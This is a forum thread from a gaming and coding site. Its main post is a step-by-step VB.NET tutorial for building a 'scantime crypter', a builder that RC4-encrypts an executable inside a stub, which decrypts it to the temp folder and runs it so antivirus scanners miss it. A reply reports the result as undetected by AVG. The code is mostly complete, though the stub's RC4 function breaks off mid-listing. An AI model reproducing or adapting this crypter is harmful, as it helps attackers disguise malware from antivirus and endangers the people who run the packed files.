Welcome to Truecodeing.tk plz join are other site TrueGamerz.tk
Site admin Dirty_Tazer & Bman24 & Snick458 & Always_Jonezen have any questions ask a admin or a mod
Welcome to Truecodeing.tk plz join are other site TrueGamerz.tk
Site admin Dirty_Tazer & Bman24 & Snick458 & Always_Jonezen have any questions ask a admin or a mod
Would you like to react to this message? Create an account in a few clicks or log in to continue.


TrueGamerz.tk
 
HomeHomeGallerySearchLatest imagesRegisterLog in
We have a new site that's a vbulliten join TrueGamerz.Tk
Log in
Username:
Password:
Log in automatically: 
:: I forgot my password
Top posters
Xx...Tazer...xX (1239)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
bman24 (247)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
Always_Jonezen (155)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
Navy-Hawk (121)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
qwerty (91)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
CjZitical (91)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
snick458 (80)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
MAG (77)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
»Air Bourne« (76)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
.-jZeIvIiiX-. (73)
Making a scantime crypter - VB.net I_vote_lcapMaking a scantime crypter - VB.net I_voting_barMaking a scantime crypter - VB.net I_vote_rcap 
Latest topics
» Socom FTB3 USA Gamesave 100% Complete
Making a scantime crypter - VB.net I_icon_minitimeSun Dec 29, 2013 7:31 pm by pandemic44

» Making a scantime crypter - VB.net
Making a scantime crypter - VB.net I_icon_minitimeWed Aug 15, 2012 7:01 am by shayl

» VERY IMPORTANT !!!!!!!!!!
Making a scantime crypter - VB.net I_icon_minitimeFri Mar 09, 2012 9:34 pm by kfederigan

» my FTB3 gamesave request
Making a scantime crypter - VB.net I_icon_minitimeTue Oct 25, 2011 2:39 pm by The.S.Man

» How To Install Pspsdk (PRX Compiler)
Making a scantime crypter - VB.net I_icon_minitimeThu Aug 04, 2011 3:47 pm by xUnD3ADxMARIN3x

» Hope's
Making a scantime crypter - VB.net I_icon_minitimeFri Jul 15, 2011 3:51 pm by nemopsp

» Offline Guns Online No Need Gamesaves!
Making a scantime crypter - VB.net I_icon_minitimeWed Apr 20, 2011 3:08 pm by jeshuag

» Need Game Save Please
Making a scantime crypter - VB.net I_icon_minitimeMon Apr 18, 2011 8:15 am by guy mandude

» my gsave request
Making a scantime crypter - VB.net I_icon_minitimeSun Apr 10, 2011 12:57 pm by Killin

Who is online?
In total there are 2 users online :: 0 Registered, 0 Hidden and 2 Guests

None

Most users ever online was 120 on Tue May 14, 2019 3:05 pm
Statistics
We have 826 registered users
The newest registered user is netanter

Our users have posted a total of 3902 messages in 2169 subjects
Poll
Do you like too shop online??
Yes
Making a scantime crypter - VB.net I_vote_lcap25%Making a scantime crypter - VB.net I_vote_rcap
 25% [ 14 ]
no
Making a scantime crypter - VB.net I_vote_lcap25%Making a scantime crypter - VB.net I_vote_rcap
 25% [ 14 ]
Don't have credit card
Making a scantime crypter - VB.net I_vote_lcap51%Making a scantime crypter - VB.net I_vote_rcap
 51% [ 29 ]
Total Votes : 57
HITS
HTML Hit Counter
Web Counter
facebook
truecodeing

truecodeing

Navigation
 Portal
 Index
 Memberlist
 Profile
 FAQ
 Search
March 2024
SunMonTueWedThuFriSat
     12
3456789
10111213141516
17181920212223
24252627282930
CalendarCalendar
Search
 
 

Display results as :
 
Rechercher Advanced Search
Affiliates
 
Social bookmarking
Social bookmarking reddit      

Bookmark and share the address of Truecodeing on your social bookmarking website

Bookmark and share the address of on your social bookmarking website
Music playlist

MusicPlaylist
Music Playlist at MixPod.com

 

 Making a scantime crypter - VB.net

Go down 
2 posters
AuthorMessage
Fred
The Coders
The Coders



Posts : 32
T®ue Points : 61
T®ue Reputation : 0
Join date : 2010-06-21

Making a scantime crypter - VB.net Empty
PostSubject: Making a scantime crypter - VB.net   Making a scantime crypter - VB.net I_icon_minitimeMon Jun 21, 2010 11:17 am

Today we will go over a basic file crypter.

What You Need:

* Visual Basic 2008
* Textbox1
* Button1
* Button2


The Builder


Step 1
Change the text of Button1 to "Browse"

Change the text of Button2 to "Crypt"

Step 2

Put above Public Class Form1:


Code:

Imports System.Text

Now, put under Public Class Form1:



Code:
Const filesplit = "@Sonix™️@"
Change "Sonix™️" to what ever you like.


Step 3

Double click the Button1 & put this code:


Code:

Dim openf As New OpenFileDialog
        If openf.ShowDialog = Windows.Forms.DialogResult.OK Then
            TextBox1.Text = openf.FileName
        Else : Exit Sub
        End If

That will let you browse and select the file that you want to crypt.

Step 4

Double click Button2, and inset the code:



Code:
Dim filein, filename, stub As String
        Dim lol As New SaveFileDialog
        If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
            filename = lol.FileName
        Else : Exit Sub
        End If
        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        filein = Space(LOF(1))
        FileGet(1, filein)
        FileClose(1)
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & filesplit & rc4(filein, "sonixisthebest"))
        FileClose(1)
        MsgBox("Crypted!")
        Me.Close()

This code will open the stub and make your crypted file.

Step 5

Put this code somewhere in the builder, but not in a sub.



Code:
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
            sbox(a) = a
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        Dim x As Integer = 0
        Dim b As Integer = 0
        While b <= 255
            x = (x + sbox(b) + key(b)) Mod 256
            Dim tempSwap As Integer = sbox(b)
            sbox(b) = sbox(x)
            sbox(x) = tempSwap
            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
        End While
        a = 1
        While a <= message.Length
            Dim itmp As Integer = 0
            i = (i + 1) Mod 256
            j = (j + sbox(i)) Mod 256
            itmp = sbox(i)
            sbox(i) = sbox(j)
            sbox(j) = itmp
            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
            itmp = Asc(ctmp)
            Dim cipherby As Integer = itmp Xor k
            cipher.Append(Chr(cipherby))
            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        Return returnCipher
    End Function

This code is RC4 encryption. There are many other encryption types, but I am using it for this tutorial.

Now, if your builder has no errors, we will now create the stub.

The Stub

Step 1

Put above Public Class Form1:



Code:
Imports System.Text

Now, put under Public Class Form1:



Code:
Const filesplit = "@Sonix™️@"

Make sure that what you put between:



Code:
"@      @"

is the same as in the builder. Otherwise it wont work.

Step 2

Inset into Private Sub Form1_Load:



Code:
On Error Resume Next
        Dim TPath As String = System.IO.Path.GetTempPath
        Dim file1, filezb4(), filezafter As String
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        file1 = Space(LOF(1))
        FileGet(1, file1)
        FileClose(1)
        filezb4 = Split(file1, filesplit)
        filezafter = rc4(filezb4(1), "sonixisthebest")
        FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(5, filezafter)
        FileClose(5)
        System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
        Me.Close()
        End
This will be a part of what makes your file scantime.

Step 3

Once again, we need to add the RC4 function:


Code:

Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim cipher As New StringBuilder
        Dim returnCipher As String = String.Empty
        Dim sbox As Integer() = New Integer(256) {}
        Dim key As Integer() = New Integer(256) {}
        Dim intLength As Integer = password.Length
        Dim a As Integer = 0
        While a <= 255
            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))

Enjoy cheers
Back to top Go down
shayl




Posts : 1
T®ue Points : 1
T®ue Reputation : 0
Join date : 2012-08-15

Making a scantime crypter - VB.net Empty
PostSubject: Thnx a lot   Making a scantime crypter - VB.net I_icon_minitimeWed Aug 15, 2012 7:01 am

A simple tut. it really work.Nice tut.and it fud from AVG.
but the app that i cypted does not open why?


Last edited by shayl on Wed Aug 15, 2012 7:21 am; edited 1 time in total (Reason for editing : i have not explain well)
Back to top Go down
 
Making a scantime crypter - VB.net
Back to top 
Page 1 of 1
 Similar topics
-
» Making A WebBrowser IN Visual Basic 2008

Permissions in this forum:You cannot reply to topics in this forum
 :: Computer section :: Visual basic-
Jump to:  
Free forum | ©phpBB | Free forum support | Report an abuse | Forumotion.com